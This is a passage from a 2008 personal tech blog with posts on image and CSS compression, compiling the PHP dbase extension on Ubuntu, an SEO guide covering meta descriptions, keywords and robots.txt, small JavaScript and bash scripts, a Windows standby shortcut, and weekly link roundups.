We talked about images that could be embeded into the HTML for faster load times. Today we are going to talk about how to compress those images even smaller without quality loss. Often times web developers think that Adobe Photoshop’s “Save for Web” feature does enough compression. I was also under the belief that photoshop would compress images to the max. After compressing about 100 images I found out that this couldn’t be further from the truth.

Some of the images were reduced by over 90% and NONE of the images that I had saved with Adobe’s “Save for Web” were completely optimized. And remember the programs that I had used are optimizing with ZERO quality loss. The quality is still the same yet the file size is getting smaller.

The Tools

Here are some of the tools that we will use to compress various image types:

Pngcrush Jpegtran

Compressing the Images

To reduce the file size of a png without quality loss you will need to use pngcrush.

pngcrush image.png -rem alla -reduce -brute result.png

To reduce the file size of jpeg files without los you can use jpegtran.

jpegtran -copy none -optimize -perfect src.jpg dest.jpg

Adding dbase Support to PHP5 on Ubuntu

2008-07-18T00:00:00Z

For the popular packages Ubuntu has handy little packages that will install/add extentions to PHP, but not for dbase. Dbase is old as dirt and most people don’t use it for much anymore. I was recently working on a legacy app that works with dbase files and this was the extension i needed to allow php to work with the old dbase system.

After searching online for awhile I couldn’t really find a good answer for how to add the extension without completely reinstalling PHP5 from source.

What i ended up doing was just compiling that extenstion from source and pointing to it from my php.ini leaving my existing php5 intact.

Getting the source

First thing you will need to do install install the php5-dev package:

apt-get install php5-dev

This will give us the tools needed to work with the source code. Next grab the source. In your home directory…

mkdir php cd php apt-get source php5

Then go into the extension directory.

cd php5-5.1.2/ext/dbase

Compile the Extension

Once you are in the dbase directory do:

phpize

Then,

./configure

Followed by a,

make

Copy the extension

cp modules/* /usr/lib/php5/20051025/

Your php5 library directory might be named something else.

Edit php.ini

You will then need to edit the php.ini file

vim /etc/php5/apache2/php.ini

Near the extention section add:

extension=dbase.so

Ultimate Guide to SEO: Meta Description

2008-07-14T00:00:00Z

The meta description effects how search engines will show snippets of your site and effects how your visitors will determine to visit your site based on its description. It is definitely directly related to the chance your site will get clicked. Google chooses its snippets based on many different things, but we can control some of them through writing an effective meta description

To get the most out of this article check out, Ultimate Guide to SEO: Series.

Improving the meta description will help you get click through from the Google page, but they won’t effect your ranking.

What is the Meta Description?

The meta description is a short description of what that page is about. It is put in the Meta tag near the top of the page and is sometimes used when a search engine shows a link to your site. Here is an example of one:

Adding a Meta Description to your site

To add a meta description to your pages you will need to add line between your tags.

<META NAME="Description" CONTENT="Description goes here...">

Making a good Meta Description that is HUMAN friendly

Google could really care less what your snippet looks like. They will always take other bits of text for the snippet if you can’t come up with a good one; however, if we really want to get our link clicked on we are going to have to make the description human readable and interesting.

When someone types in a search term in Google and hits go there are two things that will influence a user’s decision to click on your link. The first will be the order in which the links are laid out. Since most people read from top to bottom the higher links will usually get more attention. Google claims that most people will scan the site snippet before clicking. This is where we will separate our pages from some of the competition.

Users will scan a snippet but they are not going read it in detail. It has to be scanable. It also has to be something that is descriptive and complements the title but without repeating or having duplicated keywords. One of the most common problems with meta descriptions is that many sites either have the same one for every page or don’t even use them at all.

I think the two main ingredients for successful use of the meta description is to:

Have a different meta description for each page Use PHP or other script to generate them

W3C doesn’t specify the size of this description meta tag, but almost all search engines recommend it to be shorter than 200 characters of plain text.

References

Improve snippets with a meta description makeover

Weekend Link Roundup: Week 15

2008-07-12T00:00:00Z

30 Essential PDF Documents Every Designer Should Download - Nuff said.

Browsershots - Cross test your site against pretty much every OS/Browser combination.

15 Tools for faster development - Very good list of tools for web development. One more I would add is Opera’s DragonFly development tool.

The 10 Best Linus Torvalds Quotes - Some funny quotes from the grandfather of Linux. My personal favorite: “Microsoft isn’t evil, they just make really crappy operating systems.”

Pirate Bay Wants Total Network Encryption, But Who Else? - Deep packet inspection, aka: looking at what everyone is doing on the internet has gotten more attention lately. I have been saying for awhile that eventually all traffic will be encrypted. Here is an interesting article about Pirate Bay cofounder starting such a project.

Need Social Media Success? Don’t Start With Digg - This blog can relate to this article. This blog has yet to gain any attention from digg desipite the numorous article submissions; however, we have had luck with a lot of other smaller or more niche type social networks. If you are looking for gaining some extra traffic try some of the others don’t just rely on digg.

Web Form Design Patterns: Sign-Up Forms, Part 2 - An interesting article on the web form statistics.

New Gmail Features Protect from Snooping - I have always wondered why webservices didn’t tell you your last login time and IP. All I can say is that everyone should show this information and its about time.

Highlight Form Focus with Prototype

2008-07-09T00:00:00Z

I recently made a purchase through Paypal (with my trusty paypal security key) and noticed that their forms really stood out. They had an effect on their forms that would highlight the row in which you are currently typing. I thought this was a very elegant use of ajax that really added value to the form. This is why I created my own version of it.

You can also go to Paypal and see their version of the effect.

The html

<html>
<head>
<link rel="stylesheet" type="text/css" href="screen.css" />
<script src="js/prototype.js" type="text/javascript"></script>
<script src="js/scriptaculous.js" type="text/javascript"></script>
</head>
<body>
<form action="" method="post">
<table>
<tr id="tr1"><td>Text Field 1: </td><td><input name="input 1" type="text"/></td></tr>
<tr id="tr2"><td>Text Field 2: </td><td><input name="input 2" type="text"/></td></tr>
<tr id="tr3"><td>Text Field 3: </td><td><input name="input 3" type="text"/></td></tr>
<tr id="tr4"><td>Text Field 4: </td><td><input name="input 4" type="text"/></td></tr>
<tr id="tr5"><td>Text Field 5: </td><td><input name="input 5" type="text"/></td></tr>
<tr id="tr6"><td>Text Field 6: </td><td><input name="input 6" type="text"/></td></tr>
<tr id="tr7"><td>Drop down: </td><td><select name="checkBox">
            <option>yes</option>
            <option>no</option>
        </select></td></tr>
<tr id="tr8"><td>Drop down 2: </td><td><select name="checkBox">
            <option>yes</option>
            <option>no</option>
        </select></td></tr>
<tr id="tr9"><td>Check Box: </td><td><input name="checkBox" type="checkbox" value="checkBox"/></td>

<tr><td></td><td><input type="submit" value="submit" /></td></tr>
</form>
</table>
</body>
</html>

The Ajax

Now we add the ajax above the form. This will add the css class, “highlight” to each table row. And also remove the class when called upon.

<script language='javascript'>
function highlightRow(theRow) {
    $(theRow).addClassName('highlight');
}
function unhighlightRow(theRow) {
    $(theRow).removeClassName('highlight');
}
</script>

onFocus and onBlur

Now all there is to do is add the onFocus and onBlur to the input tags in our form. Add this with the corresponding table row.

onFocus="highlightRow('tr1')" onBlur="unhighlightRow('tr1')"

Thats it…

My Blog is Now 1 Year Old

2008-07-08T00:00:00Z

Well its been one year now since my blog started and I can say it has been a lot of fun. I have learned a few things after joining the blogosphere and one of the things I learned is that blogs are not easy. Although they are not easy, they can be extremely rewarding.

I want to say a massive thanks to everyone for reading, commenting on, and linking to the blog - it has been great to write about, and get your feedback over this past year.

Here are some stats about my blog over the past year:

I wrote my first article on July 6th 2007.

The 20 Most Popular Articles

5 Posts that I thought would be more popular

Top 10 Referring Sites

Thanks for the referrals!

I plan to keep writing on this blog and create more articles for my readers.

Happy birthday marksanborn.net!

Weekend Link Roundup: Week 14

2008-07-05T00:00:00Z

Which Linux Distributions Are Dying? - So which distributions are growing in terms of searches/day? Although this doesn’t necessarily represent popularity it does show how many people are looking for help or new to specific distribution. Interesting none the less.

Mozilla sets Guinness World Record with Firefox 3 launch - Although I can’t say I was part of the download frenzy this is pretty cool.

55 Free High Quality Icon Sets - I love icon sets and these are fabulous!

10 Best Hacking and Security Software Tools for Linux - Best hacking tools that are open source

How to encrypt user info with php - Something I didn’t think about when I wrote my article about hashing stored passworrds was adding the username of the hash. This along with salt creates a stronger hash.

Researchers spot Mac Trojan in the wild - With the rising popularity of the ipod and Apple computers I am sure we will see more of these in the future.

In-Depth look at how “Deep Packet Inspection” Works - A nice whitepaper on deep packet sniffing, AKA deep packet inspection. To make an analogy, deep packet inspection is like your phone company listening to your phone conversations and disconnecting you if you start talking about how bad their customer service is. Many ISPs think they have the right to judge what content should be a priority. Or even which content they will drop from their pipes. I forsee a future where everything is encrypted end to end.

Court orders YouTube to give Viacom video logs - So much for privacy.

Ultimate Guide to SEO: Keywords

2008-07-04T00:00:00Z

We know a little bit about how google ranks keyword placement. And I will try to get you up to speed on the most relevent areas where you can improve your site’s visibility to Google and other search engines right away. This post is part of the series, Ultimate Guide to SEO. I recommend reading the entire serires to get the most of this article.

Domain Names

The absolute highest importance when it comes to keywords is the domain. Even if your page has a rank of zero, you have no SEO techniques applied, and your site is new. Chances are within a few days your site will be indexed in Google and will show up in the first page for the keywords in your domian. This is why you will often see domains like, Get-Free-Templates-For-Wordpress.com domains. Domain names are absolutely critical when it comes to keywords. I am not telling you this so you run out and buy a domain that is keyword stuffed I am just showing you the importance of it.

Title

The title is the second most influential factor when search engines try to determine what a page is about. This is where you will want to have relevent information with keywords.

Many people make mistakes when it comes to the <title></title> tags. Often I will see a site title like, “My Blog - My article title”. or even worse, “My Blog”. Google and other search engines will weigh each keyword in the title with less importance the further right you go. For the optimimum result you will want your most relevent keyword in the begining.

Simply changing the title of your pages to be something like, “My article title - My blog” or even, “My article title” can make a world of difference for page ranking in Google and other search engines.

The other mistake I see often is people stuffing keywords in a title like, “My blog widget, activites, technology, blah, blah.” The problem with this is that Google takes each word and gives it a portion of the keyword importance to each. The more words you have in your title the less importance each keyword will be. Adding more keywords will NOT help. Remember the golden rule of SEO, SEO is about making your pages machine accessible. It’s not ment to trick search engines into indexing you for irrelevent keywords.

Bottom line: Try to keep your titles short and relevent to the individual page on your site. Each page of your site should have a unique title describing that particular page. Stay away from adding the same text to each page.

Optimizing Titles for Wordpress

In Wordpress you can have dynamic titles easily, here is an example:

<?php if (is_home()) {bloginfo('name') ;} else { wp_title(' ');} ?>

What this does is give the home page a title of, “My blog” and the articles will have the title, “the article title”. I have found this the most effective way to utilize the title tag in a blog type setting.

The H1 Tag

The H1 tag seems like it has almost as much weight as the title tags. It is so important that many developers have often used h1 text underneath their logos and hide the text with a CSS text indent. This allows the site to have a nice logo and still contain the page’s main heading in plain text for the search bot to see.

It has been discussed multiple times whether or not this technique is considered cheating since Google has stated before many times that site using hidden text or display something that differs from what the bot sees is deceptive. Matt Cutts from Google has repeaditly said that it is fine. What is not fine is using methods similar to this for purposes of keyword stuffing or tricking the bot. Remember the golden rule of SEO.

The H2, H3, H4 Tags

As you may have guessed these tags will be more important for keyword purposes than regular text but will diminish in value as you go down. The H2 will be weighted as more relevent than the H4. Keep this in mind. I don’t want you to make up h2, h3 tags for the purpose of keyword stuffing but I would advise you to think about what you are writing and make sure that you use h2, h3 tags whenever appropriate.

I see a lot of sites that will use a custom tag like, . If you find yourself doing this stop and ask yourself, “Can I replace this with an h2 or maybe an h3 tag?

Bottom line: Use h2, h3 tags for page layout hierarchy. Not only will it benefit your users, it will help with ranking. Keep their structure and don’t stuff them with keywords for the hell of it. For example you should NEVER have more than one H1 tag.

Strong and Bold

Strong and bold tags will have slightly higher relevence as far as keywords go. There has been some debate against which was better and I distinctly remember Matt Cutts once say that the strong tag had SLIGHTLY higher relevence than bold since strong is semantically correct in the new xhtml standards. However, the difference is almost meaningless as far as SEO goes. Just keep in mind that the bolded text will weigh more than regular text.

The Link Title Attribute

Links have an attribute that you can include called “title”. This attribute is what will show up if the link is hovered over and can also be spoken for people with accessibility needs.

This not only provides a good opportunity to add more relevent information and keywords to a link, but also serves as a utility for people with accessibility needs. It is recommeneded that you use the title attribute in links when necessary.

The Img Alt Attribute

The alt attribute is the primary focus of Google when determining a description for an image to be included in their image search. It is also required by the W3C to have validated code. I always try to include the alt attribute in every image of my site.

Keywords in URLs

We have discussed how important keywords are in domain names now its time to take a look at the rest of the URL. Google does look at the URL for purposes of determining the page’s content. You can tell this by the bolded text in a url when searching for a page.

I have had excelent luck with providing pages with logical descriptive urls. For example my pages will use Apache’s Mod_rewrite (build into Wordpress) to change urls from http://yourdomain.com?123987 to something like, https://www.marksanborn.net/SEO/name-of-the-article. I find this works much better than having the default permalink like this, https://www.marksanborn.net/year/month/day/article-title. Since including the category of your article adds one extra keyword in the url than you would otherwise have with the Wordpress default permalink.

Bottom line: Think about a clear descriptive URL scheme and stick with it. If you are already using something different don’t change it. Improper change of a URL (not including 301 redirect) will cause pages to loose pagerank.

Keywords in Incoming Links

Incoming links that don’t have the [nofollow tag] will increase the target page’s rank and push the entire site closer to the top of search results, but there is more to it. Even if a page uses the nofollow directive or the link is from your own site, Google will use those keywords in the links to determine what the target page is about.

This is why blogs do so well with trackbacks as they will include a short description about the blog right underneath and usually use the exact title of the article in the link description. It also explains why blogs do so well in search engines. Often times bloggers will link to their own content many times throughout multiple posts with the same relevent keywords as that particular article. This paints a good picture to Google about what that site is actually about.

Bottom line: When linking to a page be as descriptive as possible. Do not use something like:

Click here to read about embedded html images.

Here is an example of linking with descriptive keywords.

You can read more about embedded html images.

A great example of a site that does this extremely well is Wikipedia.

Keyword Density

Search engines will look at all the attributes on the page and weight how many times you mention different words in an article. This is why longer articles appear in more keywords and do better in search results. As far as SEO goes it usually isn’t worth going through articles and adding extra keywords so that the search words are more frequent; however, it is worth keeping this in mind when comming up with descriptive tiles and alt tags. I recommend taking a good look at your articles or pages and really think about what that article is about and come up with a descriptive title. This will benefit your users and the search results.

Bottom line: Titles should match the content.

Conclusion

You may have found a theme when reading about various keyword placement and SEO techniques. They all revolve around the golden SEO rule. You are trying to make your site more descriptive to your users and bots. We are not trying to trick anyone here. We just want to make sure that it is clear what each page is about. Google has said time and time again that making your site clear and concise to your users and provide great content will ultimately increase your page rank. This is what SEO is all about.

Read the rest of The Ultimate SEO Guide.

Ultimate Guide to SEO: Robots.txt

2008-07-03T00:00:00Z

This post is the first part of the series Ultimate Guide to SEO. To get the most out of this article you will want to read the entire series.

What is the Robot Exclusion Protocol (REP)

Since it was introduced in the early ‘90s, REP has become the de facto standard by which web publishers specify which parts of their site they want public and which parts they want to keep private. I use robots.txt on this site to keep the search engines away from parts of the site that contain duplicate content. Often times sites exclude private data that they don’t want indexed. This is where the Robot Exclusion Protocol or robots.txt comes in.

Wikipedia’s definition for REP.

The robot exclusion standard, also known as the Robots Exclusion Protocol or robots.txt protocol, is a convention to prevent cooperating web spiders and other web robots from accessing all or part of a website which is otherwise publicly viewable. Robots are often used by search engines to categorize and archive web sites, or by webmasters to proofread source code. The standard complements Sitemaps, a robot inclusion standard for websites.

The REP is still evolving based on the entire internet communities needs; however, There isn’t a true standard that is followed by all of the major search engines. Although Google has worked with Microsoft and Yahoo they each have their own implementation of the protocol. This is why it is important to understand the differences between them.

This article will explore Google’s implementation thoroughly and breifly touch on the differences between Microsoft and Yahoo’s implementation. My explanations will be based on Google’s released detailed documentation on how they implement REP.

Robots.txt Directives

According to Google’s documentation these directives are implemented by all three major search engines: Google, Microsoft, and Yahoo.

Disallow
Allow
$ Wildcard Support
- Wildcard Support
Sitemaps Location

Disallow

Google:Tells a crawler not to index your site – your site’s robots.txt file still needs to be crawled to find this directive, however disallowed pages will not be crawled Use Cases: ‘No Crawl’ page from a site. This directive in the default syntax prevents specific path(s) of a site from being crawled. Mark: This is probably the most commonly used directive. Since the Googlebot penalizes for duplicate content I use this extensively in my robots.txt to hide duplicate content. This directive is also useful if you want to hide private or subscription data from bots. Although subscription pages will probably be password protected you should also add these pages to the disallow just in case.

Allow

Google: Tells a crawler the specific pages on your site you want indexed so you can use this in combination with Disallow Use Cases: This is useful in particular in conjunction with Disallow clauses, where a large section of a site is disallowed except for a small section within it Mark: The allow clause will trump the disallow. This is helpful if you want to allow a specific page in a directory that would normally be disallowed.

$ Wildcard Support

Google: Tells a crawler to match everything from the end of a URL – large number of directories without specifying specific pages Use Cases: ‘No Crawl’ files with specific patterns, for example, files with certain filetypes that always have a certain extension, say pdf Mark: If you have an upload folder for your blog or website and you want to restrict a specific filetype but allow images to be indexed you could use this directive.

* Wildcard Support

Google: Tells a crawler to match a sequence of characters Use Cases: ‘No Crawl’ URLs with certain patterns, for example, disallow URLs with session ids or other extraneous parameters Mark: This is probably the second most used directive in conjuntion with the disallow. Allows you to match multiple directories at once. One word of caution here is to test your robots.txt with Google’s Webdeveloper Tool.

Sitemaps Location

Google: Tells a crawler where it can find your Sitemaps Use Cases: Point to other locations where feeds exist to help crawlers find URLs on a site Mark: It is a good idea to create a sitemap for your website and include it in your robots.txt. You can also tell Google where your sitemap is through the webdeveloper tool.

HTML META Directives

Not only can you provide rules that search engine bots must follow through robots.txt, you can also specify rules per html page. This is often required for sites that want the search spider to follow through links to other pages but to refrain from indexing that specific page. I use this method on this blog. I want the search spiders to follow my links from category and archive pages but to exclude the category and achrive listings since they contain duplicate content.

The following HTML META directives are implemented by all three major search engines: Google, Microsoft, and Yahoo.

NOINDEX META Tag
NOFOLLOW META Tag
NOSNIPPET META Tag
NOARCHIVE META Tag
NOODP META Tag

I will first give you the exact description given by Google’s documentation and then give you my own explination along with examples when necessary.

NOINDEX META Tag

Google: Tells a crawler not to index a given page. Use Cases: Don’t index the page. This allows pages that are crawled to be kept out of the index.

NOFOLLOW META Tag

Google: Tells crawler not to follow a link to other content on a give page. Use Cases: Prevent publicly writeable areas to be abused by spammers looking for link credit. By using NOFOLLOW you let the robot know that you are dicounting all outgoing links from this page. Mark: A good place to put this tag is on outgoing links in commented areas. Wikipedia uses this method on all external links placed on wiki pages. It should also be noted that this not only can be used for entire pages but individual links:

Example: <a href="http://Somespamlink.com" rel="nofollow">Some comment spam</a>

NOSNIPPET META Tag

Google: Tells a crawler not to display snippets in the search results for a given page. Use Cases: Present no snippet for the page on Search Results.

NOARCHIVE META Tag

Google: Tells a search engine not to show a “cached” link for a given page. Use Cases: Do not make available to users a copy of the page from the Search Engine Cache.

NOODP META Tag

Google: Tells a crawler not to use a title and snippet from the Open Directory Project for a given page. Use Cases: Do not use the ODP (Open Directory Project) title and snippet for this page. Mark: If you do a quick search for Marksanborn.net you will see that my google snippet is:

Includes howtos and guides for Linux, PHP, Security, SEO and Software.

Which matches exactly to The Open Directory Project (http://www.dmoz.com). If I wanted to change my snippet I would add this directive to my index page.

Targeting specifc Search Spiders (user-agents)

Each visitor to a website will have a string that is identified by user-agent. This is the same string that we can use in our robots.txt that allows us to specify different rules for different search spiders. For example you could deny access to your archive articles because of [Google’s duplicate content penality] and allow the same archives to Yahoo’s bot.

Not only can the Google bot be identified with the user-agent string but also can be identified using reverse DNS based authentication. This allows for an alternative way to verify the identity of the crawler.

Here are some common user-agents for search engines:

Googlebot - Google
Googlebot-Image - Google Image
msnbot-Products - Windows Live Search
Mediapartners-Google - Google Adsense
Yahoo! Slurp - Yahoo!
Baiduspider+( - Baidu
ia_archiver - Alexa
Ask Jeeves - Ask Jeeves
Gigabot/ - Gigabot
msnbot-media/ - MSN Media
W3C_*Validator - W3C Validator
Feedfetcher-Google - Google Feedfetcher
msnbot-NewsBlogs/ - MSN News Blogs

So where can I put these rules?

You can put these in all forms of html and non html type documents. The most common place for these is robots.txt. This file is checked by all bots before entering a page and will adhere to the rules in the file for the entire domain. All you have to do is create a text file in the root directory of your domain with the name ‘robots.txt’.

These robot exclusions can also be put in non html files like, PDF and Video files using the X-Robots-Tag. You place these directives in the file’s http header.

Google also has a web developer tool that will simulate their bots going to your site. It will show you which URLs were excluded due to your robots.txt. You can even modify your robots.txt for testing purposes through their tool. This will help make sure you don’t accidently exclude the wrong directories/pages.

Robots.txt for Wordpress

Since the default installation of Wordpress is full of duplicate content I have created a robots.txt file to focus the Google bot’s attention on indexing the actual articles. Before I implemented my robots.txt file my rss feed page and archive listings were indexed over the actual articles. Here is an example of my robots.txt that removes most of the duplicate content in Wordpress. If you want to know more about Wordpress’ duplicate content problems check out, Duplicate Content Causes SEO Problems in Wordpress.

User-agent: * Disallow: /wp- Disallow: /search Disallow: /feed Disallow: /comments/feed Disallow: /feed/$ Disallow: /*/feed/$ Disallow: /*/feed/rss/$ Disallow: /*/trackback/$ Disallow: /*/*/feed/$ Disallow: /*/*/feed/rss/$ Disallow: /*/*/trackback/$ Disallow: /*/*/*/feed/$ Disallow: /*/*/*/feed/rss/$ Disallow: /*/*/*/trackback/$

References

Below are links to the official documentation for REP from the three major search engines: Google, Microsoft and Yahoo.

Google’s Policy Microsoft’s Policy Yahoo’s Policy Robot.txt for publishers PDF

Read the rest of The Ultimate SEO Guide.

Ultimate Guide to SEO: Series

2008-07-02T00:00:00Z

Face it you can have the best site in the world. But if it isn’t Seach Engine Optimized (SEO) you won’t have much for visitors. Search engine optimization can lead to a difference of being on the 30th page of google right up to being on the first page. Usually it is not the content or the lack of incomming links that is driving your page to the bottom. It is a problem getting your page to be more “machine readable”. You have to look at your page from Google’s perspective.

You can’t look at your site and say. I have great content, great graphics why wouldn’t google think my page is worth higher mention in its index? Well we know your page is great and content is there but have you ever wondered what your page looks like from a search spider’s point of view?

Nobody really knows they exact secret algorithm Google uses to seperate the men from the boys, but they have given us guidelines. We can use these guidlines to make our pages more “machine readable”. Although some of these guidelines cannot easily be changed, like incoming links, there are a ton that we can do right away to improve page rank and this is what this series aims to do. I want to get everyone up to speed with Google’s SEO guidelines.

This article will mainly focus on “white hat” techniques taken straight from the horse’s mouth, Google. So there will be no if ands or buts about the techniques these are proven to help your site. You have to be careful when applying SEO techniques because Google punishes the sneaky snakes. Remember the Golden SEO Rule, SEO is about making your pages machine accessible. It’s not ment to trick search engines into indexing you for irrelevent keywords.

Stay tuned for the series of posts that will transform your SEO from zero to hero.

Some of the topics will include:

Robots.txt Keywords Sitemaps Duplicate Content Meta Description The “nofollow” Tag Paid Text Link Ads What NOT to do when making your site SEO Understanding Pagerank Domain Authority and more!!!

Detecting a Mount in BASH

2008-06-30T00:00:00Z

Often times we will use bash to create scripts for backing up or transfering files. A lot of times these files are transfered over a mounted network share or an external usb drive. Since these mount points are not always mounted we need to come up with a script that will detect the mount before we perform our operation. I have come up with a script that I think is simple enough that uses df and grep to detect the mount.

The code

if df | grep -q '/mnt/yourMountPoint'
        then
        echo "Found mount point, running task"
        # Do something
        else
        echo "Error, disk is not mounted"
        exit -1
fi

Explanation

The df command will print out the current disk usage information on all the mount points. We then pipe ‘|’ the information to grep. Grep searches through for the string. In our case we are using, ‘/mnt/yourMountPoint’. The ‘-q’ switch we are passing through tells grep to return an exit signal instead of printing the matching text to the screen. This allows us to write our if statement without filling up a log file full of ‘/mnt/yourMountPoint’ strings.

Once you have your script running you might want to have it run automatically with cron.

Weekend Link Roundup: Week 13

2008-06-28T00:00:00Z

Yahoo’s Website Performance Rules - This is a must read if you develop websites. The author is the cheif optimization engineer for Yahoo and author of High Performance Web Sites: Essential Knowledge for Front-End Engineers, published by O’Reilly.

5 Ways to Screencast Your Linux Desktop - If you are looking to make screen casts or video tutorials on Linux make sure you check this article.

Vi Assistant - This is funny :)

Firefox 3 Vulnerabilities Could Affect Over 14 Million Computers - Vulnerabilities are already lurking around. I suspect Firefox will be the target browser for exploit attacks with its upcoming popularity.

Nearly Half of IT Workers Snoop in Confidential Files - This article brings up a good point. I remember when working fo the university we had access to many resources in which we should have been privy to. But who monitors the IT? How do we seperate something that has to be controlled by IT?

Imagemagick - Great opensource image manipulator. It converts and identifes images of all sorts. It is a very handy tool to keep in your toolbox.

Vim - If you have been reading this blog lately or just a open source fan you have probably heard of Vim by now. You may even be using it. If you aren’t sure if it is for you please give it another chance. I was myself on the fence with this. I knew it was a great program but I was worried about the learning curve and took longer to get into it. My only regret is not learning this program earlier. It is an absolutely amazing program. I suggest chaning your default editor to Vim and forcing yourself to use it. You will be less productive for awhile but you will quickly learn it and will be FAR worth the investment.

Developer Tools for Browsers - A very nice list of developer tools to help speed up the process. The article includes tools for Firefox, IE, and Opera.

Embedding Images in HTML

2008-06-25T00:00:00Z

After doing some research on embedding CSS in HTML I found an interesting link. It turns out that you can embed image data into your HTML URLs. This means that image will be downloaded along with the HTML reducing the total amount of server requests. If you could do this to all of your images you could effectively have a SINGLE request to download the entire webpage contents.

So what’s the catch? The catch is that this technique is not supported in every browser. It appears that IE7 doesn’t like it too much. In my tests IE7 thought the page was a phishing attempt and didn’t display the image. Firefox and Opera worked just fine.

The technique of combining data with HTML as one request has been around since 1995. So why have we not seen this implemented on a large scale? Why hasn’t Internet Explorer added this? After doing some more searching it looks like IE8 beta 1 will implement it.

If you have a supporting browser like Opera or Firefox, you should see a picture of tux below.

If you right click on it or view the source you will see that it is not linked to any url the entire picture is embedded within the HTML.

Do you think this technology will catch on?

Embed CSS in Your HTML for Faster Load Times

2008-06-24T00:00:00Z

Most web designers know that reduced server requests equals faster load times. I got to thinking and I was wondering why is CSS always in a seperate file from regular HTML? Usually it is in a different file because you don’t want to make a ton of changes in individual files. Rather you would want to make one change in a .css file and have it change every page of your site; however, with PHP we can embed CSS into our HTML and still have only one file to make our changes.

PHP has a function called include. What it does it include anything in a text file and add it to the current file. This allows us to actually embed the css into our HTML pages reducing the server requests thus faster load times. It also allows us to maintain only one file that will make site wide changes. Thus completely eliminating the need for CSS to be in a seperate file from our HTML.

I have thought about it for awhile and I don’t see any reason to keep css in a seperate file. After looking at Google’s source code I found that they do this exact thing. They don’t point to a seperate css file. Rather they embed the CSS into their HTML.

Update: After doing some research based on some of the comments I received I found this article written by the Steve Souders, who is Yahoo’s Chief Performance guy. The conclusion is that embedding your CSS in HTML is only beneficial if you have a page that is typically loaded only once per session. This explains why Google uses this method. On a blog type site most of the page are the same and will benefit from external CSS rather than embedding into HTML.

He goes on to say:

One such technique is to inline JavaScript and CSS in the front page, but dynamically download the external files after the page has finished loading. Subsequent pages would reference the external files that should already be in the browser’s cache.

If you want to make your sites optimized like the kings of optimization (google) then all you have to do is…

Embedding CSS into your HTML

To embed CSS into your HTML with PHP all you have to do is replace your current css call:

<style type="text/css" media="screen">
<!-- @import url( <?php bloginfo('stylesheet_url'); ?> ); -->
</style>

With:

<style type="text/css" media="screen">
<?php include('style.css'); ?></style>

This of course will require your server to run PHP. If you use ASP you will have to use the ASP include function and ASP syntax.

Note: If your CSS file points to relative paths for images you may have to fix them for this to work.

Do you compress your CSS and embed it?

Auto Standby your Computer

2008-06-23T00:00:00Z

There are a few different states you can put your computer into when you are not using it. If you don’t run any other services that require networking I recommend turning your computer off via standby. It will essentially put your computer into a ultra low power state only using enough power to keep the current state in ram. If you have a significant amount of ram 2gb or more you can easily put your computer in and out of standby mode in a matter of seconds.

Why Standby?

Many people shy away from turnin their computers off because of long boot times and startup load times. Even after removing startup programs computers will sometimes boot slow. However, if you turn your computer off you can reap some huge savings on energy costs. My computer pulls about 280 watts when ideling. Not even counting the monitor. You can save several dollars a month not running your computer ²⁴⁄₇.

With standby we can essentially shut our computers down without the inconvience of slow boot and load times. My computer can enter a hibernated state in 2.45 seconds and recover back to a normal state in ~10.5 seconds. On machines with less ram you will have significantly more load time.

Making a standby shortcut

To make a shortcut for standby go to start click run and type notepad. Then copy the following code and paste it in your text file.

RUNDLL32.EXE PowrProf.dll,SetSuspendState

After pasting the code click file save as. Then navigate to your desktop and save the file as, “standby.bat” (include the quotes). If you forget the quotes you will have a file called standby.bat.txt.

Once you create the bat file you can put your computer in standby mode by just double clicking the newly created bat file.

Setting up a scheduled standby

Once you create your .bat file you may wish to put your computer in standby at a secific time. Maybe 5:30pm (when you leave) on a work computer or 12:00am (when you go to bed) on your home computer.

You can then set it to standby at a set time through windows task scheduler.

Start > All Programs > Accessories > System Tools > Scheduled Tasks

From there just click through the wizard, select the bat file, and then choose an appropriate time for standby to begin.

You can also turn on automatic standby when your computer goes to idle through the power settings in the control panel, but I don’t prefer this method as I may have a download going when I am not using my computer and I don’t want it to be interupted. I find the scheduled standby task is best for me.

Compress your CSS Files

2008-06-17T00:00:00Z

Almost all websites are now utilizing CSS (Cascading Style Sheets) as their main tool for website design and layout. Often times these files get large. Many programmers like to add additional tags to fix small portions of their site in CSS files rather than rewriting the CSS file. These types of CSS files over time can be come quite large. The larger the CSS file the longer our users will have to wait to load up our page. What can we do about it? We can compress CSS which allows for a much faster load time and uses less bandwidth.

Why compress?

Compressing CSS files allows for a faster load time for our visitors. When surfing the Internet people tend to be very impatient when it comes to load times. Since they have so much information at their finger tips if they don’t find what they are searching for in mere seconds they will turn around and look elsewhere.

Still not convinced? Go ahead and navigate to Google.com and take a look at their HTML source code. Google not only compresses their CSS, they also compress their HTML. In addition they combine their CSS and HTML into one file so there are less requests to the server. If it’s good for Google it’s good enough for me. After all, the speed of Google and their minimalist approach to web search is what gave them the jump when they first started.

How to compress

To compress your CSS files you will need to download CSS tidy. I usually use the executable if I am on a Windows system.

Then to compress to the highest level possible use this command:

csstidy style.css --template=highest compressedStyle.css

You can check out other options and usage here.

Hey, my CSS isn’t very human readable!

Due to the nature of compression it will be hard to read your CSS file because it strips out whitespace and tabs. If you save a copy of the style.css as style.css.beforeCompression prior to compressing, you will be able to make your changes to the style.css.beforeCompression file and then re-compress it and save the compressed copy as style.css over the old compressed CSS file. This allows you to have the speed of a compressed CSS file and be able to retain your readable code.

If you have a large CSS file compression can save you a lot of visitors from hitting their back buttons. It also shows that you have taken the time to consider your users. Whether they know you are using compression techniques or not I am sure they will appreciate the snappier load times.

In-line Spell Checking with Opera

2008-06-16T00:00:00Z

I love Opera and I am excited to be using the latest version Opera 9.5 that came out just a few days ago. With the new features, fixes, and new Dragonfly Webdeveloper Tool I believe that Opera is pulling away from the competiton and has always been in my opinion faster and better than Firefox or other browsers.

The only feature that I miss about Firefox was the in-line spell checking. Sure Opera has spell checking built into the browser but it doesn’t highlight mispelled words and it can be difficult to spell check a large document as you never know which word in the document it is trying to correct. I will be the first to admit that Firefox’s spellcheck system is much more intuitive and easier to use.

This is a small flaw that I have found that I don’t like about Opera but it isn’t enough for me to switch to Firefox or even worse, Internet Explorer. After doing a quick search I found a great script that will add in-line spell checking to Opera in about 30 seconds.

Installing the script

First we need to make a folder that stores the script and any other script we may use in the future. I like to use the Opera directory to store my scripts so I always know where they are. This also makes sense because if I remove Opera in the future my scripts will also be removed. Create a folder called ‘UserJS’ here:

OperaDefaultPath\Opera\program\plugins\

Usually it is:

C:\Program Files\Opera\program\plugins

Then download the OSpell script to add the in-line spell checking. Save the file in the newly created folder, ‘UserJS’.

